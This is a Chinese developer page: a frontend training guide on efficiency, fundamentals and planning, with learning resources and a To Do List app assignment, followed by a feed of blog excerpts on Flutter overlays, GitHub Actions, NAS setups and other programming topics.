- 软件应用： Chrome 、 Docker 、 XMind 、 Fig 、 Obsidian ……
- 在线服务： Github 、 Gitlab 、 Jenkins 、CI/CD、 Sentry …..
- 硬件工具：Mac、趁手键盘、人体工学座椅、防噪音耳机……
轻功
国漫《秦时明月》中，白凤有句台词，非常喜欢：“轻功不代表武功，但速度决定了你我的距离”。在软件开发中，
智能化、自动化趋势越发明显，作为程序员如不能尽快适应，其所面临的窘境可想而知；势必会在科技的浪潮中捉襟见肘；所以这更加要求从业者能快准稳的去解决需求，同时保持知识技能的不断更新。而这
快字，自然是业务技能熟练度多半取决定性作用，但如果能简化、优化的工作流机制，势必锦上添花。而这个话题，所涉及的点线面，非一言可蔽之；这需要在渐进的学习探索中，不断去变化更新。但至少一个当前的准则是：即便不能全自动，至少也须半自动化。当前阶段，所能给出的建议是：摒除盲忙，予勤于思；善于去发现效率问题，利用抽象思维，剥离精确性部分，借助已有工具或代码脚本，来代替人工手动处理，从而提升整理效率，并形成复用；再之后，坚持、反复坚持。
内功
金庸先生在《倚天屠龙记》中写道：他强由他强，清风拂山岗；他横由他横，明月照大江。他自狠来他自恶，我自一口真气足。在编程开发中，亦是同理；拥有扎实功底，掌握「核心原理」，方能在不断变迁的浪潮中，快速掌握精髓，紧跟时代步伐，从而利于不败之地。
何为编程内功？编程通用性知识，如算法、数据结构、重构、性能优化、面向对象编程、函数式编程等，当然可算为内功。但，可以更宽泛去看，任何工具或框架，在能够熟练使用基础上，
深层次掌握其设计、优劣，这便也是在修炼内功。就拿汽车而言，会开只是掌握了这个代步工具的玩儿法；能清楚知晓其构造，坏了可修，有部件能组装，这个阶段才算是增添了份「技能」。内功修炼，非朝夕可至。在上述方向上的精修，实际就是内功的提炼，尤其在解决所遇到些问题时，这是自我提升的良机。编程通用性知识，如函数式编程、面向对象编程、设计模式，也可以逐步学习深入；此外，抽空建议读一读《代码大全》、《重构 · 改善既有代码的设计》等著作。
谋略策略
《孙子兵法·谋攻篇》中写道：上兵伐谋，其次伐交，其次伐兵，其下攻城。在编程开发领域，尤其明显── 必要时，再编写必要的代码。程序员，不该只是需求的实现者；更须参与到产品设计阶段，贡献自己所知、所学，以促进产品更有可行性、良好体验。即便到了实现阶段，也该先「三思（设计）后行（编码）」。Elon Musk 在经历生产系统过程中的惨痛教训后，总结五步工作法，与君共勉：
优秀工程师犯的最大错误，就是持续优化一个不该存在的东西。所以我要求所有人走完基于第一性原理的流程，第一步是约束和优化需求，让它不繁琐；第二步是删除冗余的零件或工艺步骤；如果你没有把你删除的东西的 10% 又加回来，那意味着还可以继续删除；第三步是简化和优化的迭代；第四步是加快生产速度，第五步是实现自动化；因为我也经常犯这种顺序性的错误，所以我经常告诫自己这才是正确的顺序。—— Elon Musk
概括性来讲即为：验证你的需求、最少的流程、简化和优化、加速迭代、自动化。对于工作中遇到的诉求，或者接下来所要完成的「大作业」，建议参考黄金圈理论（The Golden Circle）：在关注事物之时，更多关注背后的
WHY， 而不要只看到外部的WHAT；并构建持续的迭代循环（Why => How => What），以此驱动：做正确的事 & 正确的做事。当然，真正做到这些，需要涉及到敏捷思维、产品思维、沟通技巧、项目架构等，可循序渐进、次第体悟、不断更善。学习参考资料
- Awesome-Mac ：收集了各种类别的出色 macOS 软件，可选取适合自己，以提升工作效率；
- Nice Front-End Tutorial ：与时俱进版前端资源，教程和意见，可以查找些学习方向、资料；
- 现代 JavaScript 教程：以最新的 JS 标准为基准。通过简单但足够详细的内容，为你讲解从基础到高阶的 JS 相关知识；
- ECMAScript 6 入门教程 ：开源的 JavaScript 语言教程，全面介绍 ECMAScript 6 新引入的语法特性；
- HTML 初学者教程 ：HTML（超文本标记语言）是构成 Web 世界的砖瓦，它定义了网页内容的含义和结构；
- React ：用于构建用户界面的主流
JavaScript库，革命性创新，设计独特、性能出众，简单易用； - Vue3 ：一款友好的、多用途且高性能的渐进式
JavaScript框架，灵活、高效、易用、成熟； - Svelte ：一种构建 Web 应用程序的新方法；将浏览器中完成大部分工作，转移到构建应用程序时的编译步骤；
- Webpack：是一个用于现代 JavaScript 应用程序的静态模块打包工具，能够转换、捆绑或构建几乎任何资源。
- Vite：一个基于浏览器原生 ES imports 的开发服务器（下一代 Web 前端构建工具）；
- Refactoring.Guru ：免费、在线学习代码「重构」和「设计模式」的网站，强烈推荐收藏 & 阅读；
- Clean Code JavaScript：🛁 Clean Code concepts adapted for JavaScript.
- Front-End-Checklist ：The perfect Front-End Checklist for modern websites and meticulous developers.
- Frontend Developer Roadmap：Step by step guide to becoming a modern frontend developer in 2022；
- JavaScript The Right Way ：旨在向新开发人员介绍 JavaScript，并帮助有经验的开发人员更多地了解其最佳实践；
- 前端精读 weekly：前端精读周刊（Github 开源项目，20k Star）。帮你理解最前沿、实用的技术。
大作业
题目：做一款「代办清单/To Do List」类 Web 应用；具体交互设计、UI 设计不限，可参考优秀 Web 或原生应用。
目的：“学以致用”，旨在训练各位学习能力（包含：如何搜索、提问、使用框架、工具、及发现、解决未知问题）和思维能力（包含产品思维、敏捷思维、逻辑思维等）。
时间：直至本次培训结束；有效时间，大致三个周。
技术栈：不限；框架可以是 React、Vue.js 或 Web Components；构建工具可选 Vite、Webpack 或 rollup.js。主要方向 具体说明 评分占比 备注说明 项目、代码规范 语义化命名、简洁代码设计等，需符合业界通用规范 20% 前端项目开发规范意见 - 项目规范 组件封装设计 合理的设计组件，达到易读、易维护、易扩展之目标 20% 组件设计原则 Black Pearl 功能有用且丰富 覆盖基本功能，并能在此基础上附加有价值的创新 20% 具体可参见 Trello、TickTick 等应用 UI、交互设计 设计良好，且适配 PC、Pad、Phone 等多端设备 20% 通过 CSS，以及适当的 DOM 区分即可 代码提交规范 按每个功能点进行提交，Commit Message 写清晰 10% 前端项目开发规范意见 - 代码规范 提前完成交付 本作业相对较为简单，不应花费太多时间，至少保证如期完成 10% 合理分配时间，建议先构思产品设计、探究如何实现、再动手编码 您可能感兴趣的文章
- 博客 技术小黑屋 2022-07-31 17:04:00
当我们使用 flutter run 调试 App 时，假如数据线接触不良或者断开，当我们想要继续调试的时候，可能就需要再次执行
flutter run。但其实，还有一个命令叫做 flutter attach. 它可以实现如下的功能
- attach 到一个现在运行的 app
- 支持指定设备 id 进行 attach
- 支持指定端口进行 attach
- 支持设置超时时间
- 支持传递 key-value 键值对设置
使用起来也很简单
1flutter attach多设备可用时
首先使用
flutter devices查看目标设备 id1 2 3 4 5
flutter devices 2 connected devices: SM G9730 (mobile) • RA2TQ6PN • android-arm64 • Android 11 (API 30) Chrome (web) • chrome • web-javascript • Google Chrome 100.0.4896.60然后执行设备id 执行即可。
1flutter attach -d RA2TQ6PN --verbose - 博客 轶哥博客 2022-07-30 13:31:15<>Ale Studio Dilay 2022款自入手以来我一直作为主显示器，合盖使用MacBook Pro。从未想过与Liux或Widow的连接。今日实测了iPad Pro、Liux、Widow与Studio Dilay的配套使用，发现均可正常兼容，包括摄像头、扬声器、麦克风以及下联TyeC接口，甚至也支持给设备供电，在安装了驱动的情况下还可以调节亮度。实在是既意外又惊喜！<>Ale Studio Dilay 作为一款入门级的专业显示器，其色彩精准度不必怀疑。让我没有想到的是，在和Widow、Liux等非“门当户对”的系统搭配使用时，也能自动匹配色彩描述文件，使用非专业的色彩比对硬件发现色彩还原的准确度很高。
- 博客 二丫讲梵 2022-07-30 00:26:09如要阅读全文，点击标题跳转。当我们在GitHub中冲浪时，遇到优秀的项目经常会为之点赞，但就像网络上经常说的玩笑一样：收藏等于会了。其实我们不应该让这些已被自己赏识过的项目石沉大海，那么，如果有一个项目能把自己过去star过得项目自动整理并归类就好了。本文就将介绍如何利用GitHub Actions来实现这个功能。
- 博客 二丫讲梵 2022-07-29 23:51:43如要阅读全文，点击标题跳转。GitHub中的follow功能，类似于微博中的关注，而关注我们的大佬，就更应该有一个合适的地方安排，本文将分享如何基于GitHub Actions自动生成个人的Fans列表。
- 博客 二丫讲梵 2022-07-29 15:49:35如要阅读全文，点击标题跳转。学习周刊-总第64期-2022年第29周
- 博客 Jiajun的编程随想 2022-07-28 08:00:00《三种git流程以及发版模型》使用Git，与其他版本控制系统最大的不同在于，Git是一个分布式系统，每一份仓库里，都是全量代码，因此协作中，冲突是常有的事。我们来看看三种Git开发模型...
- 博客 吕小荣的网志 2022-07-28 01:27:45
我是一个程序员，这是我每天办公用到的软件和硬件。
硬件
- YubiKey Bio
- MacBook Pro 16’
- LG 40WP95C 显示器, 40寸，5Kx2K
- 宏基显示器灯 Screen Bar
- 乐歌升降桌
- HHKB keyboard hybrid 键盘
- Herman Miller Embody 椅子
软件
- Visual Studio Code，敲代码编辑器。
- Copilot，AI 敲代码工具。
- Anki，闪卡软件。
- Grammarly，英文纠错，英文润色。
- Alfred
- 1Password
- 一次买断的 Day One，写日记。
- Chrome + Vimium
- Snagit，截图工具
- iTerm2 + zsh
- Vim
- Amphetamine，Mac 防止休眠。
- OmniGraffle，画图工具
- Moom
- 老版本 Tower, Git 客户端，当初一次性买断，一直将就着用，从来没升级。
- Office365
- Spark，邮件客户端。
- Bartender
- App cleaner
Sublime TextMindenodeJetbrainsf.luxZoteroBreak timeAnnotate
- 博客 小胡子哥的个人网站 2022-07-27 12:39:21作者：[法] 古斯塔夫·勒庞一本几万字的心理学著作，两个小时读完了。读的太快，好多内容没有消化完，又花了大概半个小时去回味自己感兴趣的部分。作者把群体当做一个特定的研究对象，如同研究一个具体的人一般，去分析这个对象的性格、行为和特征，通过对历史事件的解读，持续论证自己抽象和归纳的内容。例如群体...
- 博客 小胡子哥的个人网站 2022-07-27 09:20:41有什么法子可以快速从一段失败的恋爱中走出来？有人说，是马上进入到下一段。回味是苦药，在过去停留的越久，脑子里就不会有多余的空间去思考未来的事情，我们的思考也是有带宽的。同样的道理，每天都会遇到各种让人不愉快的事情——这取决于心情，这些糟心事如果不能快速从眼前消失，那么注定就会迎来痛苦的一天。我...
- 博客 Jiajun的编程随想 2022-07-27 08:00:00《错误处理实践》一个接口，或者一个系统，总是要处理很多异常流程，通常我们都需要以某种形式表达出来，例如返回错误、抛异常。这篇文章我想讲讲怎么去处理错误...
- 博客 小胡子哥的个人网站 2022-07-26 11:58:52听一个分享，有一段内容比较有意思：What people say about you and what people think about you, it comes from their view of the world, It's from their opinions and the...
- 博客 轶哥博客 2022-07-25 12:03:29<>在MacOS Vetura 13.0 Beta版中，使用VSCode会出现Githu登录状态丢失的情况，导致重启/新窗口中需要重复登录Githu账号才可以同步UI以及插件等设置。<>在VSCode的
githu autheticatio插件日志可以看到，每次启动VSCode后，都会从MacOS的钥匙串访问APP中获取登录信息。[Ifo - 03:49:14.381] Readig eio from keychai... - 博客 二丫讲梵 2022-07-23 19:10:55如要阅读全文，点击标题跳转。我很早注意到，GitHub当中，你创建一个与自己账号同名的仓库，然后这个仓库的内容会展示在个人主页，换言之，你可以通过装扮这个仓库，来实现个人主页的装扮。
- 博客 二丫讲梵 2022-07-23 19:06:46如要阅读全文，点击标题跳转。一个仅需三步配置就能生成免费个人博客的开源模板vdoing-template
- 博客 二丫讲梵 2022-07-23 19:01:57如要阅读全文，点击标题跳转。做一个开源项目，尽量提供给受众以简单易用的快速上手体验，也是项目能够立刻把人抓住的一个关键。现在如果想让用户快速体验项目，除了提供demo环境之外，还有一个方案，那就是提供一个完备的docker-compose，让人能够直接一键拉起。
- 博客 二丫讲梵 2022-07-23 18:32:59如要阅读全文，点击标题跳转。学习周刊-总第63期-2022年第28周
- 博客 二丫讲梵 2022-07-21 01:22:11如要阅读全文，点击标题跳转。老婆，孩子，热炕头,电脑，开源，打篮球,我已阔别城市那拥挤的精彩,在家抓住了这一阵儿的平庸
- 博客 构建我的被动收入 2022-07-20 08:00:00本文是《Software Engineering at Google》的读书笔记，同时会穿插分享我对软件工程的理解。本文主要介绍软件工程中人的因素，也就是文化部分。
- 博客 酷 壳 – CoolShell 2022-07-19 14:43:39
今天来讲一讲TCP 的 TIME_WAIT 的问题。这个问题尽人皆知，不过，这次遇到的是不太一样的场景，前两天也解决了，正好写篇文章，顺便把 TIME_WAIT...
The post 从一次经历谈 TIME_WAIT 的那些事 first appeared on 酷 壳 - CoolShell. - 博客 二丫讲梵 2022-07-18 06:02:31如要阅读全文，点击标题跳转。本文我们来认识理解一个很重要的概念：objectCLass，其实了解它是很难的，网上不少介绍的文章也讲的云里雾里，看完之后反而更加迷糊，本文将不求完全讲透，但求你看完会用。
- 博客 二丫讲梵 2022-07-18 06:00:19如要阅读全文，点击标题跳转。本文将着力于将ldap中概念讲清道明，希望你看了就能懂，不再困厄烦恼。
- 博客 技术小黑屋 2022-07-17 21:46:00
在 Flutter 中，我们可以使用 OverlayEntry 实现一个位于顶层的遮罩层。
比如上面的 Overlay 示例效果，可以通过 这段代码来实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
void _showOverlay(BuildContext context, {required String text}) async { OverlayState? overlayState = Overlay.of(context); OverlayEntry overlayEntry; overlayEntry = OverlayEntry(builder: (context) { return Positioned( left: MediaQuery.of(context).size.width * 0.1, top: MediaQuery.of(context).size.height * 0.80, child: ClipRRect( borderRadius: BorderRadius.circular(10), child: Material( child: Container( alignment: Alignment.center, color: Colors.yellowAccent, padding: EdgeInsets.all(MediaQuery.of(context).size.height * 0.02), width: MediaQuery.of(context).size.width * 0.8, height: MediaQuery.of(context).size.height * 0.06, child: Text( text, style: const TextStyle(color: Colors.black), ), ), ), ), ); }); // inserting overlay entry overlayState!.insert(overlayEntry);看起来一切都很正常，但是如果我们点击一下系统的返回按键，我们看到的结果是
- Overlay 并没有优先消失
- 而是当前的底层界面会退出了。
WillPopScope 管用么
经过验证，WillPopScope 其实也无法拦截 Overlay 的返回事件。因为所处层级不同。
那怎么办
可以借助系统的
SystemChannels.navigation来实现，在 popRoute 层面去做拦截。这里有一个库可以解决
1 2 3 4 5 6
dependencies: flutter: sdk: flutter back_button_interceptor: 5.0.2注意：如果你的 Flutter 适配到了 Flutter 3.0，可以使用最新的back_button_interceptor(6.0.0)，否则使用上面的5.0.2版本。
导入包
1import 'package:back_button_interceptor/back_button_interceptor.dart';接入拦截代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
void _showOverlay(BuildContext context, {required String text}) async { OverlayState? overlayState = Overlay.of(context); OverlayEntry overlayEntry; overlayEntry = OverlayEntry(builder: (context) { return Positioned( …… some code omitted . }); // inserting overlay entry overlayState!.insert(overlayEntry); BackButtonInterceptor.add((bool stopDefaultButtonEvent, RouteInfo info) { overlayEntry.remove(); BackButtonInterceptor.removeByName('my_back_button'); return true; }, name: 'my_back_button'); }其中
- BackButtonInterceptor.add 用来添加一个拦截器，通常还是需要增加一个 name 用作后续的移除做标识
- 当拦截之后，我们需要添加
overlayEntry.remove();用作移除OverlayEntry。 添加BackButtonInterceptor.removeByName('my_back_button');移除当前的拦截器，return true;表明拦截器处理了该事件。
内部核心代码逻辑实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
/// 添加逻辑 static void add( InterceptorFunction interceptorFunction, { bool ifNotYetIntercepted = false, int? zIndex, String? name, BuildContext? context, }) { _interceptors.insert( 0, _FunctionWithZIndex( interceptorFunction, ifNotYetIntercepted, zIndex, name, context == null ? null : getCurrentNavigatorRoute(context), )); stableSort(_interceptors); SystemChannels.navigation.setMethodCallHandler(_handleNavigationInvocation); } /// hook 回掉逻辑 static Future<dynamic> _handleNavigationInvocation(MethodCall methodCall) async { // POP. if (methodCall.method == 'popRoute') return popRoute(); // PUSH. else if (methodCall.method == 'pushRoute') return _pushRoute(methodCall.arguments); // OTHER. else return Future<dynamic>.value(); } /// 弹出拦截逻辑 static Future popRoute() async { bool stopDefaultButtonEvent = false; results.clear(); List<_FunctionWithZIndex> interceptors = List.of(_interceptors); for (var i = 0; i < interceptors.length; i++) { bool? result; try { var interceptor = interceptors[i]; if (!interceptor.ifNotYetIntercepted || !stopDefaultButtonEvent) { FutureOr<bool> _result = interceptor.interceptionFunction( stopDefaultButtonEvent, RouteInfo(routeWhenAdded: interceptor.routeWhenAdded), ); if (_result is bool) result = _result; else if (_result is Future<bool>) result = await _result; else throw AssertionError(_result.runtimeType); results.results.add(InterceptorResult(interceptor.name, result)); } } catch (error) { errorProcessing(error); } if (result == true) stopDefaultButtonEvent = true; } if (stopDefaultButtonEvent) return Future<dynamic>.value(); else { results.ifDefaultButtonEventWasFired = true; return handlePopRouteFunction(); } }完整的示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153
import 'package:flutter/material.dart'; import 'package:back_button_interceptor/back_button_interceptor.dart'; void main() { runApp(const MyApp()); } class MyApp extends StatelessWidget { const MyApp({Key? key}) : super(key: key); // This widget is the root of your application. @override Widget build(BuildContext context) { return MaterialApp( title: 'Flutter Demo', theme: ThemeData( // This is the theme of your application. // // Try running your application with "flutter run". You'll see the // application has a blue toolbar. Then, without quitting the app, try // changing the primarySwatch below to Colors.green and then invoke // "hot reload" (press "r" in the console where you ran "flutter run", // or simply save your changes to "hot reload" in a Flutter IDE). // Notice that the counter didn't reset back to zero; the application // is not restarted. primarySwatch: Colors.blue, ), home: const MyHomePage(title: 'Flutter Demo Home Page'), ); } } class MyHomePage extends StatefulWidget { const MyHomePage({Key? key, required this.title}) : super(key: key); // This widget is the home page of your application. It is stateful, meaning // that it has a State object (defined below) that contains fields that affect // how it looks. // This class is the configuration for the state. It holds the values (in this // case the title) provided by the parent (in this case the App widget) and // used by the build method of the State. Fields in a Widget subclass are // always marked "final". final String title; @override State<MyHomePage> createState() => _MyHomePageState(); } class _MyHomePageState extends State<MyHomePage> { int _counter = 0; void _incrementCounter() { setState(() { // This call to setState tells the Flutter framework that something has // changed in this State, which causes it to rerun the build method below // so that the display can reflect the updated values. If we changed // _counter without calling setState(), then the build method would not be // called again, and so nothing would appear to happen. _counter++; }); _showOverlay(context, text: 'overlay'); } void _showOverlay(BuildContext context, {required String text}) async { OverlayState? overlayState = Overlay.of(context); OverlayEntry overlayEntry; overlayEntry = OverlayEntry(builder: (context) { return Positioned( left: MediaQuery.of(context).size.width * 0.1, top: MediaQuery.of(context).size.height * 0.80, child: ClipRRect( borderRadius: BorderRadius.circular(10), child: Material( child: Container( alignment: Alignment.center, color: Colors.yellowAccent, padding: EdgeInsets.all(MediaQuery.of(context).size.height * 0.02), width: MediaQuery.of(context).size.width * 0.8, height: MediaQuery.of(context).size.height * 0.06, child: Text( text, style: const TextStyle(color: Colors.black), ), ), ), ), ); }); // inserting overlay entry overlayState!.insert(overlayEntry); BackButtonInterceptor.add((bool stopDefaultButtonEvent, RouteInfo info) { overlayEntry.remove(); BackButtonInterceptor.removeByName('my_back_button'); return true; }, name: 'my_back_button'); } @override Widget build(BuildContext context) { // This method is rerun every time setState is called, for instance as done // by the _incrementCounter method above. // // The Flutter framework has been optimized to make rerunning build methods // fast, so that you can just rebuild anything that needs updating rather // than having to individually change instances of widgets. return Scaffold( appBar: AppBar( // Here we take the value from the MyHomePage object that was created by // the App.build method, and use it to set our appbar title. title: Text(widget.title), ), body: Center( // Center is a layout widget. It takes a single child and positions it // in the middle of the parent. child: Column( // Column is also a layout widget. It takes a list of children and // arranges them vertically. By default, it sizes itself to fit its // children horizontally, and tries to be as tall as its parent. // // Invoke "debug painting" (press "p" in the console, choose the // "Toggle Debug Paint" action from the Flutter Inspector in Android // Studio, or the "Toggle Debug Paint" command in Visual Studio Code) // to see the wireframe for each widget. // // Column has various properties to control how it sizes itself and // how it positions its children. Here we use mainAxisAlignment to // center the children vertically; the main axis here is the vertical // axis because Columns are vertical (the cross axis would be // horizontal). mainAxisAlignment: MainAxisAlignment.center, children: <Widget>[ const Text( 'You have pushed the button this many times:', ), Text( '$_counter', style: Theme.of(context).textTheme.headline4, ), ], ), ), floatingActionButton: FloatingActionButton( onPressed: _incrementCounter, tooltip: 'Increment', child: const Icon(Icons.add), ), // This trailing comma makes auto-formatting nicer for build methods. ); } } - 博客 二丫讲梵 2022-07-17 19:42:01如要阅读全文，点击标题跳转。golang作为强类型语言，我们在日常开发过程中，遇到类型转换的场景也非常多，本文整理我在工作开发中遇到过的类型转换实践。
- 博客 二丫讲梵 2022-07-16 22:25:58如要阅读全文，点击标题跳转。学习周刊-总第62期-2022年第27周
- 博客 Jiajun的编程随想 2022-07-15 08:00:00《权限模型(RBAC/ABAC)》最近研究了一下权限模型，看完AWS IAM之后，深感 AWS IAM 设计精妙。就我个人的看法，RBAC应对一些场景还是不太够，主要是控制粒度不够，例如，我想控制某个role只能操作某个集群的资源，RBAC就无法表达。ABAC可以表达，但是ABAC要复杂很多，AWS IAM是ABAC，但是易用性上做的很不错，还有一种方式，就是魔改RBAC，通过增加一个condition来缩小权限，从而做到精细化控制...
- 博客 二丫讲梵 2022-07-09 22:45:59如要阅读全文，点击标题跳转。学习周刊-总第61期-2022年第26周
- 博客 MacTalk-池建强的随想录 2022-07-08 14:02:23最近朋友圈看到几篇谈中国 To B 软件产业的，比如中国软件公司为啥做不出产品啊 … Continue reading →
- 博客 Jiajun的编程随想 2022-07-06 08:00:00《OIDC(OpenID Connect) 简介》最近了解了一下认证体系中的 OIDC ，整理成一篇博客，主要包含 OIDC 中的概念，流程以及使用。在介绍这些之前，我们先要弄清楚两个名词 Authorization 和 Authentication...
- 博客 Jiajun的编程随想 2022-07-05 08:00:00《任务队列简介》在很多系统中，为了解耦，或者处理需要较长时间的任务时(例如，有些网络请求可能很慢，或者有一些请求属于CPU密集型，需要等待一段时间)，我们通常会引入任务队列。典型的任务队列由下面三部分组成...
- 博客 MacTalk-池建强的随想录 2022-07-04 17:25:08设计简单并且具备生命力的产品并不容易。2012 年，龙哥说产品经理是站在上帝身边 … Continue reading →
- 博客 二丫讲梵 2022-07-03 07:28:29收款明细
- 博客 二丫讲梵 2022-07-02 19:07:05如要阅读全文，点击标题跳转。学习周刊-总第60期-2022年第25周
- 博客 构建我的被动收入 2022-07-02 08:00:00被动收入投资组合2022年Q2季报
- 博客 MiaoTony's Blog 2022-06-30 21:06:001025
- 博客 小胡子哥的个人网站 2022-06-30 09:34:26万事俱备，只欠东风，但东风往往就是不来。不能总想着把所有的准备工作全部做好再把脚踏出去，身体不往前倾，就永远不会有迈开腿的念想。事情太难，往往是心里觉得它难。都没有去践行，甚至没有去思考如何破解难题，如何就知道这一步踏不出去呢？退一步想，即便行差踏错，也就是损失些时间罢了，有太多重头再来的机会...
- 博客 小胡子哥的个人网站 2022-06-30 09:32:00能左右之事，寥寥无几，能投入的时间，亦是极其有限；缩小关注的圈子，才有机会让聚焦的事情占据更多的时间；保持好奇心，但也别让好奇心把自己带进了迷宫；时间是最大的成本，放平心态，戴上耳机，暂时性地忘记一切，迈好眼前的步子。 2022年06月30日01:33:27
- 博客 二丫讲梵 2022-06-28 00:39:27如要阅读全文，点击标题跳转。在GitHub中，我们能看到每个人都在折腾个人同名仓库的profile，我在这上边也花了不少的时间，在这个冲浪经历中，感觉外国人折腾的好像要更厉害一些，浏览过程中看到有人能直接在个人的profile中生成博客最近更新文章，很是新颖，于是就学习了一下。
- 博客 MacTalk-池建强的随想录 2022-06-27 19:43:34今年开始，我开始像模像样地做 CEO 和公司的创始人，这几个月实践下来，我感觉和 … Continue reading →
- 博客 二丫讲梵 2022-06-24 23:52:01如要阅读全文，点击标题跳转。学习周刊-总第59期-2022年第24周
- 博客 Matrix67: The Aha Moments 2022-06-24 10:29:202006 年，我在博客（当时还是 MSN Space）上发了 《什么是 P 问题、NP 问题和 NPC 问题》 一文。这是我高二搞信息学竞赛时随手写的一些东西，是我的博客中最早的文章之一。今天偶然发现，这篇现在看了恨不得重写一遍的“科普”竟仍然有比较大的阅读量。时间过得很快。《星际争霸》（StarCraft）出了续作，德国队 7 比 1 大胜东道主巴西，《学徒》（The Apprentice）里的那个家伙当了总统，非典之后竟然出了更大的疫情。现在已经是 2022 年了。这 16 年的时间里，我读了大学，出了书，娶了老婆，养了娃。如果现在的我写一篇同样话题的科普文章，我会写成什么样呢？正好，我的新书《神机妙算：一本关于算法的闲书》中有一些相关的内容。我从书里的不同章节中摘选了一些片段，整理加工了一下，弄出了下面这篇文章，或许能回答刚才的问题吧。 有一天，我和老婆去超市大采购。和往常一样，结完账之后，我们需要小心谨慎地规划把东西放进购物袋的顺序，防止东西被压坏。这并不是一件容易的事情，尤其是考虑到各个物体自身的重量和它能承受的重量之间并无必然联系。鸡蛋、牛奶非常重，但同时也很怕压；毛巾、卫生纸都很轻，但却能承受很大的压力。于是，我突然想到了这么一个问题：给定 n 个物体各自的重量和它能承受的最大重量，判断出能否把它们叠成一摞，使得所有的物体都不会被压坏（一个物体不会被压坏的意思就是，它上面的物体的总重小于等于自己能承受的最大重量）。 事实证明，这是一个非常有趣的问题——老婆听完这个问题后整日茶饭不思，晚上做梦都在念叨着自己构造的测试数据。这里，我们不妨给出一组数据供大家玩玩。假设有 A、B、C、D 四个物体，其中：物体 A 的自重为 1，最大承重为 9；物体 B 的自重为 5，最大承重为 2；物体 C 的自重为 2，最大承重为 4；物体 D 的自重为 3，最大载重为 12。在这个例子中，安全的叠放方式是唯一的，你能找出来吗？ 答案：C 在最上面，其次是 B，其次是 A，最下面是 D。注意，在这个最优方案中，最上面的物体既不是自身重量最小的，也不是承重极限最小的，而是自身重量与承重极限之和最小的。事实上，最优方案中的四个物体就是按照这个和的大小排列的！对于某种叠放方案中的某一个物体，不妨把它的最大载重减去实际载重的结果叫作它的安全系数。我们可以证明，这种按自身重量与载重能力之和排序的叠放策略可以让最危险的物体尽可能安全，也就是让最小的那个安全系数达到最大。如果此时所有物体的安全系数都是非负数，那么我们就相当于有了一种满足要求的叠放方案；如果此时仍然存在负的安全系数，那么我们就永远找不到让所有物体都安全的叠放方案了。 假设在某种叠放方案中，有两个相邻的物体，上面那个物体的自身重量和最大载重分别为 W1 和 P1，下面那个物体的自身重量和最大载重分别为 W2 和 P2。再假设它俩之上的所有物体的重量之和是 W，这是这两个物体都要承担的重量。如果 […]
- 博客 构建我的被动收入 2022-06-24 08:00:00本文通过一个难题的解决场景分享我解决技术难题的一些思路及从中不断学习提升的个人经验。
- 博客 轶哥博客 2022-06-23 13:12:23<>近期分享了《从SSH远程唤起本地浏览器打开URL》，其实从远程SSH也可以直接打开带GUI的Liux应用程序的。之前分享过《Wi10中通过WSL2开发基于Electro的Uutu应用程序》，原理上其实是一样的。<>都是通过安装X11服务来实现。<>此方法和虚拟机以及Wie有本质区别。应用程序可以运行在远程服务器，这样是不占用系统内存和CPU的。<>本文介绍的方法是
从MacOS中SSH远程到服务器调试和开发Liux平台的GUI应用程序 。<>在MacOS中运行Liux的GUI程序需要借助开源软件XQuartz。 - 博客 二丫讲梵 2022-06-23 01:20:54如要阅读全文，点击标题跳转。基于git管理的项目，通常在分支管理之外，还会通过tag来对代码进行管理，尤其像go语言，go mod更是依赖tag来对项目的版本进行管理，因此合理的版本管理，对于项目的发展也会是更加健康的一个激励。GitHub中有一个Releases的概念，其实与tag差不多，简单理解就是在打一个tag的基础之上，用releases来进行管理。如果你没有了解过这里边的概念，那么要想成功打一个release还是有点难度的。
- 博客 轶哥博客 2022-06-22 09:48:05<>从SSH连接的远程环境中在本地网页浏览器中打开URL，且URL是服务器的本机/内网地址。这是完全可以做到的，就像在本地进行软件开发一样。<>这里介绍两种方法，一个是仅转发服务器本地端口，在本地浏览器打开运行。另一个是拦截服务器中打开浏览器相关命令，在本地浏览器中打开，且可以配合第一个方法实现本地浏览器打开服务器本地页面。<>温馨提示，通过VScode的Remote-SSH插件可以像在本地开发一样编辑服务器上的代码（其它编辑器也有类似功能，例如eovim支持远程网络文件编辑），配合本文的方法可以做到本地调试服务器本地代码。
- 博客 轶哥博客 2022-06-19 15:29:40<>专注于NAS的系统 OMV5 (OeMediaVault) 升级 OMV6 很容易，但是由于OMV6存在较大变化，插件亦不能完全向后兼容，因此有很多细节之处需要注意。<>OMV6基于Deia 11（OeMediaVault 6.0 Shaita，基于 Deia 11，目前已经Stale，正式版发布于2022年5月），内核5.16+（OMV5的5.10），能很好的支持r8152/8156等2.5G网卡。<>以下方法支持x86-64和ARM架构下的OMV5升级。
- 博客 轶哥博客 2022-06-18 23:38:20<>虽然我一直忧虑UPS的安全性，但是考虑NAS的数据安全，还是非常有必要给NAS配置UPS的。<>我用过各种不同型号的UPS，现在除了特别便宜的UPS不带有和上位机通讯的功能外，一般都有USB接口，主机可以获取到UPS的电压、电流、电池余量等相关信号量。<>即便使用USB接口，很多UPS都是和电脑进行串口通讯的，也有不少USB HID方式通讯的。<>在OeMediaVault(OMV5)的
插件中添加oemediavault-ut插件。 - 博客 轶哥博客 2022-06-18 22:50:53<>我是一个对噪音非常敏感的人，即使我在家里放了一个机柜，也是全无风扇被动散热的。我通常选择低功耗的设备作为边缘服务器，同时对部分无法完全避免风扇的设备进行改造，增强设备散热的同时降低噪音。<>这里记录了我优化NAS和电脑主机的噪音的方案，供有同样困扰网友作为参考。
